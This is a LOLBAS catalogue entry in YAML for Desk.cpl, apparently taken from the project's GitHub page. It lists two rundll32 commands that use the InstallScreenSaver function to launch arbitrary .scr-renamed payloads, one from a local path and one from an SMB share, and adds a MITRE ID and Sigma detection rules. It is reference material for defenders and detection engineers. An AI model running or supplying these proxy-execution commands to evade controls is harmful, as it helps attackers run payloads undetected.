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https://github.com/LOLBAS-Project/LOLBAS
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1072d3dc34
* Add sigma ref * Add missing sigma ref * Fix sigma link * Remove by Defender * Remove by Defender
44 lines
2.0 KiB
YAML
44 lines
2.0 KiB
YAML
---
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Name: Desk.cpl
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Description: Desktop Settings Control Panel
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Author: Hai Vaknin
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Created: 2022-04-21
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Commands:
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- Command: rundll32.exe desk.cpl,InstallScreenSaver C:\temp\file.scr
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Description: Launch an executable with a .scr extension by calling the InstallScreenSaver function.
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Usecase: Launch any executable payload, as long as it uses the .scr extension.
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Category: Execute
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Privileges: User
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MitreID: T1218.011
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OperatingSystem: Windows 10, Windows 11
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- Command: rundll32.exe desk.cpl,InstallScreenSaver \\127.0.0.1\c$\temp\file.scr
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Description: Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function.
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Usecase: Launch any executable payload, as long as it uses the .scr extension.
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Category: Execute
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Privileges: User
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MitreID: T1218.011
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OperatingSystem: Windows 10, Windows 11
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Full_Path:
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- Path: C:\Windows\System32\desk.cpl
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- Path: C:\Windows\SysWOW64\desk.cpl
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/1d7ee1cd197d3b35508e2a5bf34d9d3b6ca4f504/rules/windows/file/file_event/file_event_win_new_src_file.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/1f8e37351e7c5d89ce7808391edaef34bd8db6c0/rules/windows/process_creation/proc_creation_win_lolbin_rundll32_installscreensaver.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/940f89d43dbac5b7108610a5bde47cda0d2a643b/rules/windows/registry/registry_set/registry_set_scr_file_executed_by_rundll32.yml
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Resources:
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- Link: https://vxug.fakedoma.in/zines/29a/29a7/Articles/29A-7.030.txt
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- Link: https://twitter.com/pabraeken/status/998627081360695297
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- Link: https://twitter.com/VakninHai/status/1517027824984547329
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- Link: https://jstnk9.github.io/jstnk9/research/InstallScreenSaver-SCR-files
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Acknowledgement:
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- Person: Rafael S Marques
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Handle: '@pegabizu'
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- Person: Pierre-Alexandre Braeken
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Handle: '@pabraeken'
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- Person: hai
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Handle: '@VakninHai'
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- Person: Christopher Peacock
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Handle: '@SecurePeacock'
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- Person: Jose Luis Sanchez
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Handle: '@Joseliyo_Jstnk'
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